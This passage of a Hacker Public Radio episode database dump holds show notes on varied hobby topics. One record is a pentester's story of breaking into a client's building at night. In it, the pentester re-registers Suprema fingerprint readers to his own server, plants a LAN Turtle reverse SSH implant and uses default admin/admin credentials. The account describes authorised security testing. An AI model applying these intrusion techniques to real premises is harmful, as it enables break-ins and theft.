will often state a working voltage of 12V but is likely to be running at a higher voltage when the engine is running due to the operation of cars alternator.</p>\r\n<p>Another person suggested trying to estimate the length of the filament and using this to determine the working voltage.</p>\r\n<p>Yet somebody else suggested just using a variable supply and to just slowly increase the voltage until a reasonable amount of light is generated. This might be quite simple if it\'s a low voltage bulb and you could even use some batteries lying around connecting them in series adding one battery at a time until the required brightness is achieved.</p>\r\n<p>It isn\'t so simple if bulb requires a higher voltage.</p>\r\n<p>In the end I just passed this information onto Dave wishing him luck in his path to discovering the optimal working voltage for his lantern.</p>\r\n<p>Feel free to write a comment if any of you out there have any other idea on finding the working voltage of a bulb this way it can be shared with the rest of us during the Community News, better still send in your own show.</p>\r\n',201,0,1,'CC-BY-SA','Hardware, electrical',0,0,1),
(3147,'2020-08-25','NIST\'s Quantum Cryptography Update',825,'NIST has concluded Round Two of the quantum encryption search and moved to Round Three','<p>NIST initiated a competition to find and test algorithms for quantum encryption that would resist quantum decryption back in December of 2016. Two rounds of testing have been completed, and an initial group of 69 submissions have been winnowed to 15. These 15 are now in Round Three of the testing process, and it is anticipated that as many as 4 of them will be approved as standards. This news update is intended to bring you up to date on the process.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/\" class=\"uri\">https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2860\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2860</a></li>\r\n<li><a href=\"https://letsencrypt.org/\" class=\"uri\">https://letsencrypt.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Public-key_cryptography\" class=\"uri\">https://en.wikipedia.org/wiki/Public-key_cryptography</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Whitfield_Diffie\" class=\"uri\">https://en.wikipedia.org/wiki/Whitfield_Diffie</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Martin_Hellman\" class=\"uri\">https://en.wikipedia.org/wiki/Martin_Hellman</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Ralph_Merkle\" class=\"uri\">https://en.wikipedia.org/wiki/Ralph_Merkle</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pretty_Good_Privacy\" class=\"uri\">https://en.wikipedia.org/wiki/Pretty_Good_Privacy</a></li>\r\n<li><a href=\"https://gcn.com/articles/2016/12/22/nist-quantum-encryption.aspx\" class=\"uri\">https://gcn.com/articles/2016/12/22/nist-quantum-encryption.aspx</a></li>\r\n<li><a href=\"https://gcn.com/articles/2019/02/04/nist-quantum-semifinals.aspx\" class=\"uri\">https://gcn.com/articles/2019/02/04/nist-quantum-semifinals.aspx</a></li>\r\n<li><a href=\"https://csrc.nist.gov/publications/detail/nistir/8309/final\" class=\"uri\">https://csrc.nist.gov/publications/detail/nistir/8309/final</a></li>\r\n<li><a href=\"https://www.nist.gov/news-events/news/2020/07/nists-post-quantum-cryptography-program-enters-selection-round\" class=\"uri\">https://www.nist.gov/news-events/news/2020/07/nists-post-quantum-cryptography-program-enters-selection-round</a></li>\r\n<li><a href=\"https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html\" class=\"uri\">https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html</a></li>\r\n<li><a href=\"https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/\" class=\"uri\">https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','security, encryption, quantum computing',0,0,1),
(3148,'2020-08-26','Why Open Source matters (to me)',1612,'I go briefly into my own history that has lead me to choose open source software exclusively.','<p>My original website: <a href=\"https://psquirk.tripod.com\" class=\"uri\">https://psquirk.tripod.com</a></p>',383,0,0,'CC-BY-SA','history,open source,matters,vic 20,amiga,commodore',0,0,1),
(3151,'2020-08-31','How I listen to podcasts',393,'This is a reply to MrX episode on how to listen to podcasts','<p>In this episode I talk about the program I use to listen to podcasts.</p>\r\n<p>BeyondPod which has a smart play feature where you can decide how to listen, in what order and how much of each podcast.</p>',382,0,0,'CC-BY-SA','podcast,software,android',0,0,1),
(3152,'2020-09-01','My Pocket Knives',870,'I talk a little about some pocket knives I often carry','<h2 id=\"introduction\">Introduction</h2>\r\n<p>As a boy I was allowed to have a penknife from about the age of 10. Since then I have tended to carry pocket knives with me on a regular basis.</p>\r\n<p>I have three knives that often travel with me, though two might have become illegal in the UK in the recent past because they lock.</p>\r\n<p>The knives are:</p>\r\n<ul>\r\n<li>Victorinox <em>Huntsman</em></li>\r\n<li>Durol locking knife</li>\r\n<li>Roxon KS-S501</li>\r\n</ul>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr3152/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Victorinox\r\n<ul>\r\n<li><a href=\"https://www.victorinox.com/uk/en\">Victorinox website</a> (UK)</li>\r\n<li><a href=\"https://www.victorinox.com/uk/en/Products/Swiss-Army-Knives/Medium-Pocket-Knives/Huntsman/p/1.3713\">Victorinox <em>Huntsman</em></a> (UK)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Swiss_Army_knife\">Wikipedia: Swiss Army knife</a></li>\r\n</ul></li>\r\n<li>Durol\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Thiers,_Puy-de-D%C3%B4me\">Wikipedia: Thiers, Puy-de-Dôme</a></li>\r\n<li><a href=\"https://www.lecouteau.info/couteliers-fabricants-de-thiers/durol/\">Coutellerie &amp; Couteaux - Durol</a> (<em>in French</em>)</li>\r\n</ul></li>\r\n<li>ROXON\r\n<ul>\r\n<li><a href=\"https://roxontool.com/col.jsp?id=111\">KS-S501</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','knife,pocket knife,penknife,Victorinox,Durol,Roxon',0,0,1),
(3153,'2020-09-02','Fixing eBooks with Calibre and pdfcrop',308,'Ken uses Calibre to convert a epub to PDF then uses pdfcrop to trim the margins','<pre>\r\npdfcrop --margins \'-4 -4 -4 -5\' --clip input.pdf output.pdf\r\n</pre>\r\n\r\n<p>\r\ncalibre is a powerful and easy to use e-book manager. Users say it’s outstanding and a must-have. It’ll allow you to do nearly everything and it takes things a step beyond normal e-book software. It’s also completely free and open source and great for both casual users and computer experts. \r\n</p>\r\n<p>\r\nPDFCrop is a Perl script that crops the white margins of PDF pages and rescales them to fit a standard size sheet of paper. It makes the printed pages far more attractive to read! \r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</a></li>\r\n<li><a href=\"https://pdfcrop.sourceforge.net/\">https://pdfcrop.sourceforge.net/</a></li>\r\n</ul>',30,0,0,'CC-BY-SA','calibre,pdfcrop,epub,pdf',0,0,1),
(3154,'2020-09-03','Make NextCloud your next cloud',771,'I go into my reasons for using NextCloud, what it is, and why you might want it.','<p>My federated address is @paul@cloud.pquirk.com</p>',383,0,0,'CC-BY-SA','Raspberry Pi,NextCloud,federated',0,0,1),
(3157,'2020-09-08','Compost',2583,'How and why to compost','<p>\r\n  How to compost food scraps to produce nutrient-rich soil. It&#39;s natural&#33;\r\n</p>',78,93,0,'CC-BY-SA','food, rubbish, landfill, gardening',0,0,1),
(3159,'2020-09-10','Vivaldi - The Four Seasons',2703,'All four movements of Vivaldi\'s Four Seasons, celebrating the Creative Commons license','<p>\r\nAntonio Vivaldi composed The Four Seasons (\'Le quattro stagioni\' in its original Italian) in 1723. It is a set of 4 violin concertos that propose an early form of descriptive music: for example, Winter makes prominent use of pizzicato notes in high registers, whereas Summer evokes a storm in its final movement. The work was first presented as part of Op. 8, being later catalogued as RV 269, 315, 293 & 297. The Four Seasons remain very popular to this day, some of its concertos spawning a great number of derivative works, whereas thousands of recordings of the original pieces have been made. It is still debated if Vivaldi wrote this concertos to accompany four sonnets that may have been written by himself. <br />\r\nFrom <a href=\"https://musopen.org/music/14910-the-four-seasons-op-8/\">Vivaldi The Four Seasons, Op. 8</a>\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://musopen.org/music/performer/the-modena-chamber-orchestra/\">The Modena Chamber Orchestra Music</a>\r\n</p>',383,22,0,'CC-BY-SA','Vivaldi, four seasons, creative commons',0,0,1),
(3158,'2020-09-09','Fingerprint access control? LOL... ',1201,'A story about pentesting physical security','<p>Hello everyone, my name is Cedric and I\'m here again with another story on pentesting and security, straight from the trenches.</p>\r\n<p>Today I\'m going to share a story with you about an assignment we did some time ago for a large entertainment company. Our client, like many entertainment companies, produces a lot of intellectual property. So, one of their biggest concerns is that someone might physically break into their premises and steal some of these designs and products. They had already taken some precautions, like installing intrusion detection alarms and access controls on all doors etc\' The access controls they installed even had a dual function and could be used both as an RFID reader and as a fingerprint reader. So, they were already trying their best to secure their on-site intellectual property. And that\'s also the reason why they hired me and my team: they wanted to check if their investment in security was actually worth its money so far.</p>\r\n<p>We proposed a plan to hack them, in any way our devious minds could possibly think of. Everything was on the table: We could try and hack ourselves in. We could social engineer ourselves in, basically by manipulating people and abusing their trust and confidence. We could do all of that, and we would, eventually. But first, the grand opening of this show, would be an attempt to physically break into their premises at night. And yes, that was as much fun as it sounds ;-)</p>\r\n<p>Our approach was basically the same as that of a professional burglar: we\'d start with a week of preparation and scoping the place.</p>\r\n<p>So how do you do this? Well, we knew the address of course so first we checked out the place on Google Maps. And we were pretty lucky: Google had just recently updated their imagery of the area which meant we had recent maps to work with and the entire thing could be viewed in 3D with a fair amount of detail. That\'s pretty much as perfect as it comes when you\'re planning to do a major heist on a place in the physical world out there :-) So, we started with scouting the area from behind our laptops. We saw where all the entrances to the building were. We also saw that on the frontside the building just gave access to the street, while on the backside of the premise there was a public park. This looked very promising as a potential entrypoint, so our next step would be to actually physically go there and scout the area.</p>\r\n<p>So, first we went there during daylight hours and just took a drive around the block using a rental car. We\'d look for entrances to the building, camera\'s guarding these and the general view of the area, basic things… We didn\'t spot any cameras on the outside of the building. So we figured it would be pretty safe to take a walk and scout the area by foot. There was foot traffic but not too much, so we wouldn\'t draw any attention by just casually walking around and having a closer look.</p>\r\n<p>The main entrance to the building was in a quiet street which led to a small square where a few kids were playing, and on the other side there was a street with some shops and a few restaurants. The entrance to our clients building had a gate through which we could see a quiet courtyard and the general layout of the building. The first thing that drew our attention was an access control device guarding the entrance, it was a fingerprint reader and it had a brand name Suprema printed on it. Straight across the courtyard we could see the trees of the neighboring park. There was a rooftop terrace on the first floor which gave access to the offices of our client. We also noticed the wall that separated this terrace from the park and it was huge, at least 6 meters.</p>\r\n<p>We couldn\'t hang around for too long of course so we decided to continue our walk to the second entrance we spotted just around the corner. We could recognise its anonymous door next to a restaurant because it was guarded by the same Suprema fingerprint device. The restaurant however seemed quite popular, and it had a terras in front of it with a dozen tables, so that pretty much dismissed this entrance as a possible entry for our heist.</p>\r\n<p>Needless to say that while we walked around the block we were also continuously scanning the area for Wifi and bluetooth devices. But nothing interesting had shown up so far. We had spotted our clients network but it was protected. We probably could use this information to set up rogue access-points later during our assignment, but for now this information was of little use to us.</p>\r\n<p>We continued our walk and took a left to end up at the park bordering to the other side of our clients building. While the park was empty at that moment, we didn\'t really feel at ease. On one side the park bordered an apartment building and all of its rear terrasses faced this park. We went to the wall at the far end of the park as casually as possible, and inspected it. It had two large windows, giving the people working in the offices on the inside a nice view of the park. Unfortunately these windows didn\'t seem to have any way of opening. The wall was high, very high, we estimated about 8 meters. On the other side it would give access to the terrace on the first floor. We figured that this would be the perfect entrypoint for our heist. We\'d use the cover of darkness to get a ladder across the park, under the trees against that wall. I\'d climb over it to land on the terrace and that would be our first step onto the premise. Next step would be to find a way into the building and for that we\'d have to find a way to bypass these Suprema fingerprint readers next to every door.</p>\r\n<p>So we went back to our hackerspace and researched this device and we figured the best way to move forward would be to actually buy one of these to first try and hack it in the safety of our lab. So I spent a fair amount of time researching the exact model they had installed and ordering one from a local supplier. The thing came at a hefty price, these Suprema devices are not cheap. But now I had an electronic lock, a relay board, a power supply and one of these fingerprint readers with which I could start playing.</p>\r\n<p>I started off with reading the manual of course, which already was very interesting on its own. I learned that this thing can be configured in a zillion ways. I figured that, like most things, the guys that installed it would probably stick pretty close to how it came out of the box. So that\'s what I did as well: I installed the thing exactly as it came, following the instructions in the manual.</p>\r\n<p>I\'ll give you the summary of this entire installation. Electronic locks are pretty simple technology. Basically it\'s just an electro-magnet, a coil through which you send current to create a magnetic field that pulls a bolt out of the way so the lock can open, that\'s when it makes the clicking sound. Inside of the building, the receptionist can just press a button and a current will flow to the lock. However, on the outside of the building it wouldn\'t be very desirable that anyone can just press a button to open the door. That\'s why most companies implement access controls like RFID-readers or in this case fingerprint readers. A visitor scans his fingerprint with the device next to the door, the software checks if it finds the signature of the print in the database holding all recognized prints, and if so it will open the door.</p>\r\n<p>So if we\'d want to bypass this scheme, we\'d basically have two options: hack the device to open the lock, or duplicate a registered fingerprint to fool the scanner and open the lock. Research had shown that this last option wasn\'t actually so far fetched. It\'s actually a proven feasible attack, last DEFCON even demonstrated an attack where a print was copied in 3D using a 3D printer. The technique we would try involved etching the negative of a high-contrast image from a lifted latent print onto a copper plate. Next we\'d pour hot glue over that etch to actually recreate the fingerprint in 3D. However, this procedure requires some practice and skills, and we didn\'t have time for that. We tried it using our own prints lifted from a glass plate, following the procedure as best as we could but we failed miserably. So, this would not be an option and we already spent a fair amount of time.</p>\r\n<p>So by now it had become clear we would have to hack the device. And as it was laying there in front of me on my desk, basically running the default setup with just my own print registered in the software, it became obvious that I had missed a crucial error in the design the entire time. I had never actually bothered to install this thing \"properly\" like mounted to a board with its cables fitted nicely behind a wall etc. The entire thing was just laying there, in front of me on my desk and all the cables really were a mess, but most importantly: the software wasn\'t showing any warnings whatsoever that the device was not mounted to a wall. I investigated the manual and I learned that the thing has something called a \"tamper alarm\". But this must have been disabled by default because I never had any alarms while the device was just laying there and was continuously shaking and moving it. So this meant that I could probably just pull this thing from a wall without any alarms going off.</p>\r\n<p>I had to validate this premise first before we could continue. If this turned out to be a false assumption we\'d waste valuable time investigating a plan which would probably fail in the end. So the following night I set out again to our clients building. It was like 3:30 in the morning and there was nobody on the streets. We already validated that there were no cameras pointing to the entrance, still I didn\'t feel too confident. My plan was simple but solid: I\'d unscrew the fingerprint reader at the main entrance and put it back in place after 30seconds. I\'d then walk to the little square at the end of the street and sit on the bench there so I would have a clear view of our clients entrance. I figured that, if the tamper alarm was enabled, and if they had someone monitoring it, they would probably come and check the device causing the alarm. I\'d be interested in their response time of course, but most of all I was just hoping nobody would show up. And that\'s also what happened. I waited for 2 whole hours on that bench and nobody showed up, so I concluded the tamper alarm must have been disabled as is the default setting on these things, or nobody is monitoring it. Anyway, now I knew I could safely start tinkering on how I could manipulate this thing into letting me.</p>\r\n<p>So the next day after I had a few hours of sleep we went back to work, playing with that Suprema BioLite and its software. I was in a good mood and had lots of inspiration. We started with investigating the general architecture of this access control scheme. So it turns out you have a client device, the scanner which is next to the door and this client device gets a database of recognized fingerprints from a control server which holds a list of all connected devices. So it\'s on this server where you register new doors and locks and new users that can open these locks. Now, when I installed the setup to experiment with, I learned that I had to register the lock into the control server before I could actually do anything, so I followed that entire procedure but unless I was missing something I didn\'t notice any real checks to be in place during that registration. So what I was thinking was: maybe I can disconnect this device from its network and the control server and reconnect it to my own server. Then I could upload my own prints to the device and then I\'d be able to open the door with my own finger. So that\'s what I tried. I had the entire setup running in my own network, so I re-installed the software once again on my laptop. I then registered another print of mine into this installation. Next I disconnected the device from my network and connected it to a new temporary network running on my laptop: I had it running DHCP and I had a little USB-powered ethernet switch laying around which came in handy for this job. So the device quickly got an ip address from my new network and when I scanned for new fingerprint devices in my network using the Suprema control server that was installed on my laptop, I easily found it and was able to register it in this installation. I then was able to upload a copy of my fingerprints from my laptop to the device and after reconnecting it to the original network I could still open the lock with my newly registered print. So this meant we had our hack to bypass this device: we\'d just upload our own set of prints to it and it would happily accept these and open the door for us.</p>\r\n<p>So we hired a van and a ladder, and with some action cameras geared up we set out in the middle of the following night. We managed to get the ladder across the park and put it against the wall without making too much noise, we didn\'t wake up any curious neighbours. Next, I\'d climb up the ladder, but since it was only 6m and the wall was about 8m high I\'d have to climb the last bit by hand. Fortunately there was some vegetation growing on that wall and it felt like it would be strong enough to hold my weight. So, I gave it a try and pulled myself up from the ladder and the vines fortunately didn\'t break, so I climbed to the top of the wall and hoisted myself on top of it. I jumped off on the other side and landed on the first floor terrace we saw earlier. I went straight to the door and as expected it had one of these Suprema fingerprint readers next to it and I immediately went to work: I unscrewed the device from its mounting bracket and pulled the cables a bit from the wall. I then cut all the wires of the UTP-connection and connected a female RJ-45 socket to the UTP-wires of the fingerprint reader with crocodile clips. Next I hooked it up to my usb-powered switch which connected the device to the network running on my laptop. As I had tested everything in detail, the attack went smooth as a breeze and within no time I had my own fingerprint loaded into the device. I tested it and I could hear the lock of the door clicking while I put my finger onto the reader, so I started screwing the device back into the mounting bracket.</p>\r\n<p>Everything went exactly as planned and I had just put my laptop and all my gear into my backpack again when suddenly I saw the lights go on through the glass door separating me from the inside of the top floor. I could see the elevator doors open and suddenly there I was, standing face to face with a janitor. I could see his face and he could see me so I tried to pull myself together, I had to think quickly. I figured he would let me in, or call the cops and I would probably only get one chance to explain myself. So I pulled my silly face, pointed with a finger to the access control, shrugged my shoulders and lipped slowly \"it\'s not working\". Well, I must have been an actor in a previous life because, sure thing the man came up to the door and opened up for me. While I entered and said a quick \"hey thanks man\", he looked a bit questioning and mumbled something of \"who are you and what are you doing here?\" and as casual as I could I answered \"Oh I\'m from IT, I\'m here for work\". I smiled, thanked him once again while I stepped into the elevator and pressed the button for the ground floor. I was in! My heart was pounding like a racehorse but I was in! This stuff was like straight from the movies.</p>\r\n<p>Now it was time for the fun part of the night: claiming our flag of victory. First I went to the director\'s office, to leave a friendly signature of my presence: I left a bottle of champagne on his desk and I decorated the place with some CYBER-tape :-) On my way out I left a little present in the form of a LAN Turtle 3G. That\'s a 3G-enabled remote access toolkit with a network-connection which I hooked up with an empty socket underneath the receptionist\'s desk. The LAN Turtle would immediately boot and using its 3G connection it established a reverse tunnel using SSH to our command-and-control server. Using that covert connection we now had a way into the network from the outside. Installing it only took about 15 seconds and after having confirmed tunnel using a shell on my phone I went straight to the front-door and left the place. Mission accomplished! We had successfully penetrated the place.</p>\r\n<p>I went to bed with a very big smile on my face early in the morning that day. By Noon I got up after a few hours of sleep and called our clients. They thanked us for the champagne and I gave them the gist of what had happened earlier that day while everyone else was still in bed sleeping.</p>\r\n<p>The following weeks we would continue with our assignment and use our newly granted access into the place to go there physically during daytime hours, posing as an external developer. Eventually we gained full access to the entire place, including their on-premise datacenter holding their intellectual property, the crown jewels as to speak. Apparently, the access control-server was still protected with the default credentials admin/admin so I had pretty easy time expanding my initial foothold.</p>\r\n<p>At the end of our assignment we presented all of our findings to our client and they immediately took appropriate action, including making sure tampering control got enabled on all of their access control devices. And I for my part had learned a whole lot of new fun stuff about access control devices and the possible flaws they can hold.</p>\r\n<p>So, this was yet another story on pentesting and security. I hope you enjoyed this episode. If you\'d like to reach out to me, please use the comment section on Hacker Public Radio or contact me on Twitter or Facebook. See you next time!</p>\r\n',387,74,0,'CC-BY-SA','pentesting,security,hacking,biometrics',0,0,1),
(3161,'2020-09-14','How I manage podcast listening',1192,'Another reply to MrX\'s episode on how he listens to podcasts','<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have spoken in the past about the <a href=\"https://hackerpublicradio.org/eps.php?id=2211\" title=\"My podcast workflow\">podcast management system</a> I have created, but have never gone into much detail about how I manage the playing of episodes.</p>\r\n<p>Prompted by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX’s</a> <a href=\"https://hackerpublicradio.org/eps.php?id=3132\" title=\"Keeping track of where I am\">HPR episode hpr3132, “Keeping track of where I am”</a> I will describe it now.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3161/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.rockbox.org/\">Rockbox - an alternative operating system for certain music players</a></li>\r\n<li><a href=\"https://www.figlet.org/\">figlet - a program for making large letters out of ordinary text</a></li>\r\n</ul>\r\n<ul>\r\n<li>HPR links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1656\">hpr1656 :: My audio player collection</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1992\">hpr1992 :: How I’m handling my podcast-subscriptions and -listening</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2211\">hpr2211 :: My podcast workflow</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3132\">hpr3132 :: Keeping track of where I am</a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','podcast,software,mp3 player,database',0,0,1),
(3164,'2020-09-17','I\'m Learning Spanish',989,'How I am using a variety of tools to learn Spanish','<p>I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far.</p>\r\n<ul>\r\n<li><a href=\"https://www.babbel.com/\" class=\"uri\">https://www.babbel.com/</a></li>\r\n<li><a href=\"https://actualfluency.com/babbel-review/\" class=\"uri\">https://actualfluency.com/babbel-review/</a></li>\r\n<li><a href=\"https://www.trustpilot.com/review/babbel.com\" class=\"uri\">https://www.trustpilot.com/review/babbel.com</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/rosetta-stone-vs-babbel/\" class=\"uri\">https://www.alllanguageresources.com/rosetta-stone-vs-babbel/</a></li>\r\n<li><a href=\"https://my.babbel.com/en/prices\" class=\"uri\">https://my.babbel.com/en/prices</a></li>\r\n<li><a href=\"https://support.babbel.com/hc/en-us/articles/360037580132\" class=\"uri\">https://support.babbel.com/hc/en-us/articles/360037580132</a></li>\r\n<li><a href=\"https://www.duolingo.com/\" class=\"uri\">https://www.duolingo.com/</a></li>\r\n<li><a href=\"https://appleinsider.com/articles/13/12/17/apple-announces-best-of-2013-itunes-list-for-music-apps-more\" class=\"uri\">https://appleinsider.com/articles/13/12/17/apple-announces-best-of-2013-itunes-list-for-music-apps-more</a></li>\r\n<li><a href=\"https://www.cnet.com/news/best-language-learning-apps-of-2020-update/#listicle-a538cb59-e3e7-47b1-b029-f9ad8735bcbb\" class=\"uri\">https://www.cnet.com/news/best-language-learning-apps-of-2020-update/#listicle-a538cb59-e3e7-47b1-b029-f9ad8735bcbb</a></li>\r\n<li><a href=\"https://uk.pcmag.com/education/18817/duolingo\" class=\"uri\">https://uk.pcmag.com/education/18817/duolingo</a></li>\r\n<li><a href=\"https://www.influenster.com/reviews/duolingo\" class=\"uri\">https://www.influenster.com/reviews/duolingo</a></li>\r\n<li><a href=\"https://www.memrise.com/apps/\" class=\"uri\">https://www.memrise.com/apps/</a></li>\r\n<li><a href=\"https://www.pcmag.com/reviews/memrise\" class=\"uri\">https://www.pcmag.com/reviews/memrise</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/memrise-review-good-beginners-dont-overuse/\" class=\"uri\">https://www.alllanguageresources.com/memrise-review-good-beginners-dont-overuse/</a></li>\r\n<li><a href=\"https://www.lifewire.com/memrise-review-1357058\" class=\"uri\">https://www.lifewire.com/memrise-review-1357058</a></li>\r\n<li><a href=\"https://www.spanishpod101.com/\" class=\"uri\">https://www.spanishpod101.com/</a></li>\r\n<li><a href=\"https://www.fluentu.com/blog/spanish/spanishpod101-review/\" class=\"uri\">https://www.fluentu.com/blog/spanish/spanishpod101-review/</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/spanishpod101/\" class=\"uri\">https://www.alllanguageresources.com/spanishpod101/</a></li>\r\n<li><a href=\"https://actualfluency.com/spanishpod101-review/\" class=\"uri\">https://actualfluency.com/spanishpod101-review/</a></li>\r\n<li><a href=\"https://www.speaktribe.com/\" class=\"uri\">https://www.speaktribe.com/</a></li>\r\n<li><a href=\"https://www.androidguys.com/reviews/speaktribe-a-great-way-of-learning-the-beautiful-spanish-language-review/\" class=\"uri\">https://www.androidguys.com/reviews/speaktribe-a-great-way-of-learning-the-beautiful-spanish-language-review/</a></li>\r\n<li><a href=\"https://www.educationalappstore.com/app/learn-spanish-with-speaktribe\" class=\"uri\">https://www.educationalappstore.com/app/learn-spanish-with-speaktribe</a></li>\r\n<li><a href=\"https://appgrooves.com/app/learn-spanish-with-speaktribe-by-edushire-technologies-private-limited\" class=\"uri\">https://appgrooves.com/app/learn-spanish-with-speaktribe-by-edushire-technologies-private-limited</a></li>\r\n<li><a href=\"https://aaac.co/en-us/en-spa/best-spanish-learning-app-for-ios-android/2059/\" class=\"uri\">https://aaac.co/en-us/en-spa/best-spanish-learning-app-for-ios-android/2059/</a></li>\r\n<li><a href=\"https://appgrooves.com/android/com.ufo.learnspanish/learn-spanish-offline/ufostudio\" class=\"uri\">https://appgrooves.com/android/com.ufo.learnspanish/learn-spanish-offline/ufostudio</a></li>\r\n<li><a href=\"https://appfollow.io/android/learn-spanish-offline/com.ufo.learnspanish\" class=\"uri\">https://appfollow.io/android/learn-spanish-offline/com.ufo.learnspanish</a></li>\r\n<li><a href=\"https://spanishobsessed.com/\" class=\"uri\">https://spanishobsessed.com/</a></li>\r\n<li><a href=\"https://languagelearninglibrary.com/library/spanish-obsessed/\" class=\"uri\">https://languagelearninglibrary.com/library/spanish-obsessed/</a></li>\r\n<li><a href=\"https://www.fluentu.com/blog/spanish/spanish-podcasts/\" class=\"uri\">https://www.fluentu.com/blog/spanish/spanish-podcasts/</a></li>\r\n<li><a href=\"https://www.theguardian.com/education/2015/feb/09/top-podcasts-learning-language-german-japanese\" class=\"uri\">https://www.theguardian.com/education/2015/feb/09/top-podcasts-learning-language-german-japanese</a></li>\r\n<li><a href=\"https://www.palain.com/im-learning-spanish/\" class=\"uri\">https://www.palain.com/im-learning-spanish/</a></li>\r\n</ul>\r\n',198,116,0,'CC-BY-SA','Spanish, Language learning',0,0,1),
(3165,'2020-09-18','Spanish Tools Continued',830,'Part two of how I am using a variety of tools to learn Spanish','<p>I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far. This is the second part of my tools exploration.</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UC3iaeeUxWOgUXFK6kfIp_Ig\" class=\"uri\">https://www.youtube.com/channel/UC3iaeeUxWOgUXFK6kfIp_Ig</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/spanish/\" class=\"uri\">https://www.alllanguageresources.com/spanish/</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=hyLl_0d0EBw&amp;list=PLTpetkN815Qyuc2RbC1kxxMQvxjQ3RnYG\" class=\"uri\">https://www.youtube.com/watch?v=hyLl_0d0EBw&amp;list=PLTpetkN815Qyuc2RbC1kxxMQvxjQ3RnYG</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=QWEXFfqwh7w&amp;list=PL80Flen6gkH_9j4OxsDucs9mbKjl5ccvU\" class=\"uri\">https://www.youtube.com/watch?v=QWEXFfqwh7w&amp;list=PL80Flen6gkH_9j4OxsDucs9mbKjl5ccvU</a></li>\r\n<li><a href=\"https://radiolingua.com/category/coffee-break-spanish/\" class=\"uri\">https://radiolingua.com/category/coffee-break-spanish/</a></li>\r\n<li><a href=\"https://www.fluentu.com/blog/spanish/coffee-break-spanish-review/\" class=\"uri\">https://www.fluentu.com/blog/spanish/coffee-break-spanish-review/</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/coffee-break-spanish/\" class=\"uri\">https://www.alllanguageresources.com/coffee-break-spanish/</a></li>\r\n<li><a href=\"https://spanishlandschool.com/best-spanish-podcasts/\" class=\"uri\">https://spanishlandschool.com/best-spanish-podcasts/</a></li>\r\n<li><a href=\"https://podcast.duolingo.com/spanish\" class=\"uri\">https://podcast.duolingo.com/spanish</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/spanish-podcasts/\" class=\"uri\">https://www.alllanguageresources.com/spanish-podcasts/</a></li>\r\n<li><a href=\"https://mashable.com/2017/12/07/duolingo-launches-spanish-podcast/\" class=\"uri\">https://mashable.com/2017/12/07/duolingo-launches-spanish-podcast/</a></li>\r\n<li><a href=\"https://www.thoughtco.com/best-podcasts-for-learning-spanish-4705414\" class=\"uri\">https://www.thoughtco.com/best-podcasts-for-learning-spanish-4705414</a></li>\r\n<li><a href=\"https://www.babbel.com/en/magazine/babbels-spanish-podcasts\" class=\"uri\">https://www.babbel.com/en/magazine/babbels-spanish-podcasts</a></li>\r\n<li><a href=\"https://www.podparadise.com/Podcast/Reviews/1485542323\" class=\"uri\">https://www.podparadise.com/Podcast/Reviews/1485542323</a></li>\r\n<li><a href=\"https://chartable.com/podcasts/a-zero-to-a-hero-learn-spanish\" class=\"uri\">https://chartable.com/podcasts/a-zero-to-a-hero-learn-spanish</a></li>\r\n<li><a href=\"https://www.boulderspanish.com/top-10-podcasts-for-spanish-learners/\" class=\"uri\">https://www.boulderspanish.com/top-10-podcasts-for-spanish-learners/</a></li>\r\n<li><a href=\"https://www.spanishpod101.com/helpcenter/getstarted/itunesfeeds\" 